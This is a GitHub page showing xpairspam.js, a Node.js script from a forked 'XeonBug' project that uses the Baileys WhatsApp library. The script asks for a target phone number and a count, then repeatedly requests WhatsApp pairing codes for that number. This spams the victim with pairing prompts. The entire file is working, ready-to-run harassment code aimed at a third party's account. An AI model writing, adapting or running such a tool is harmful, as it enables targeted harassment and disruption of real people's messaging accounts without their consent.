forked from GlobalTechInfo/XeonBug-V8
-
Notifications
You must be signed in to change notification settings - Fork 0
/
xpairspam.js
73 lines (63 loc) Β· 2.63 KB
/
xpairspam.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
const { default: makeWASocket, useMultiFileAuthState } = require("@whiskeysockets/baileys");
const pino = require('pino');
const readline = require("readline");
const color = [
'\x1b[31m',
'\x1b[32m',
'\x1b[33m',
'\x1b[34m',
'\x1b[35m',
'\x1b[36m',
'\x1b[37m',
'\x1b[90m'
];
const xeonColor = color[Math.floor(Math.random() * color.length)];
const xColor = '\x1b[0m';
const question = (text) => {
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
return new Promise((resolve) => { rl.question(text, resolve) });
};
async function XeonProject() {
const { state } = await useMultiFileAuthState('./80/session');
const GlobalTechInc = makeWASocket({
logger: pino({ level: "silent" }),
printQRInTerminal: false,
auth: state,
connectTimeoutMs: 60000,
defaultQueryTimeoutMs: 0,
keepAliveIntervalMs: 10000,
emitOwnEvents: true,
fireInitQueries: true,
generateHighQualityLinkPreview: true,
syncFullHistory: true,
markOnlineOnConnect: true,
browser: ["Ubuntu", "Chrome", "20.0.04"],
});
try {
// Ask for phone number
const phoneNumber = await question(xeonColor + 'Enter target numberπ€ : ' + xColor);
// Request the desired number of pairing codes
const xeonCodes = parseInt(await question(xeonColor + 'Amount π½ : '+ xColor));
if (isNaN(xeonCodes) || xeonCodes <= 0) {
console.log('example : 20.');
return;
}
// Get and display pairing code
for (let i = 0; i < xeonCodes; i++) {
try {
let code = await GlobalTechInc.requestPairingCode(phoneNumber);
code = code?.match(/.{1,4}/g)?.join("-") || code;
console.log(xeonColor + `${phoneNumber} [${i + 1}/${xeonCodes}]`+ xColor);
} catch (error) {
console.error('Error:', error.message);
}
}
} catch (error) {
console.error('error') ;
}
return GlobalTechInc;
}
console.log(xeonColor + `ββ β¦βββββββββ βββββββββββ¬β ββββββββ¬ββ¬ββββ¬ββββββββ¬ββ¬ββββββ
ββ©β¦βββ€ β ββββ βββββββββ€βββ ββββ β β βββ€ ββ βββ€ β ββ ββββ
β© βββββββββββ ββββ΄ β΄ β΄β΄ β΄ ββββββ β΄ β΄β β΄ββββ΄ β΄ β΄ β΄ββββββ` + xColor);
XeonProject();